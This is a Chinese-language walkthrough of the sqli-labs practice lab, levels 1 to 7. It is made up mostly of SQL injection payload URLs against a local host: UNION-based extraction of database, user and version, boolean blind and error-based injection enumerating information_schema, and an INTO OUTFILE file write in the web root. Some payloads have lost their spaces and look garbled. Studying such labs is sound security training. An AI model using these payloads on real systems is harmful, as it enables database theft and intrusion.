less-1
先看源码,查看重点代码,sql传参没有进过任何过滤
使用语句:
单引号判断:http://127.0.0.1/sqli-labs-master/Less-1/?id=1’
判断字段:http://127.0.0.1/sqli-labs-master/Less-1/?id=1’order by 4 --+
判断注入位置:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,2,3 --+
获取信息:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) --+
less-2
审计源码
发现$id并没有进行单引号,id也没有进行过滤,构造语句:-1unionselect1,database(),user()
less-3
审计源代码
发现id也没有进行过滤,$id加()了,尝试使用单括号闭合,构造语句:-1’)union select 1,database(),user()–+
less-4
审计源码可以看到,对id进行加双引号过滤,尝试构造:http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 3 --+
less-5
盲注:布尔盲注,时间盲注,还有报错注入
可以采用burp、sqlmap进行注入
burp:
判断数据库长度-设置后面的1为变量:1’ and length(database())=1–+
猜测数据库名–1,1为第一位,2,1为第二位–从a开始GET /Less-5/?id=1’ and substr(database(),1,1)=‘§a§’–+
爆破表的数量:1’ and (select count(table_name) from information_schema.tables where table_schema = ‘security’) =4–+
爆破表的名称:1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = ‘e’–+
#其中limit0,1是获取第一个表,1,1就是第二个表,2,1是第三个表,3,1是第四个表。
#1,1是第一个表中的第一个字符,2,1就是第二个字符,依次类推。
less-6
和第五关类似,只不过你把单引号换成双引号,示例:http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select1from (selectcount(*),concat(0x3a,0x3a,(select table_name from information_schema.tableswhere table_schema=database() limit0,1),0x3a,0x3a,floor(rand()*2))namefrom information_schema.tablesgroupbyname)a)–+
less-7
考点在于mysql最高权限
构造语句:http://127.0.0.1/sqlilabs/Less-7/?id=1’))%20union%20select%201,2,3%20into%20outfile%20%22c://phpStudy//PHPTutorial//www//sqlilabs//Less-7//uuu.txt%22%23
查看目录下,已生成uuu.txt文档
注意在要对文件进行导入导出首先得要有足够的权限,
但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。
2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。
3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值
在my.ini文件[mysqld]的后面加上secure_file_priv=‘’(两个英文单引号),然后重启phpstudy即可。
源码如下:
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)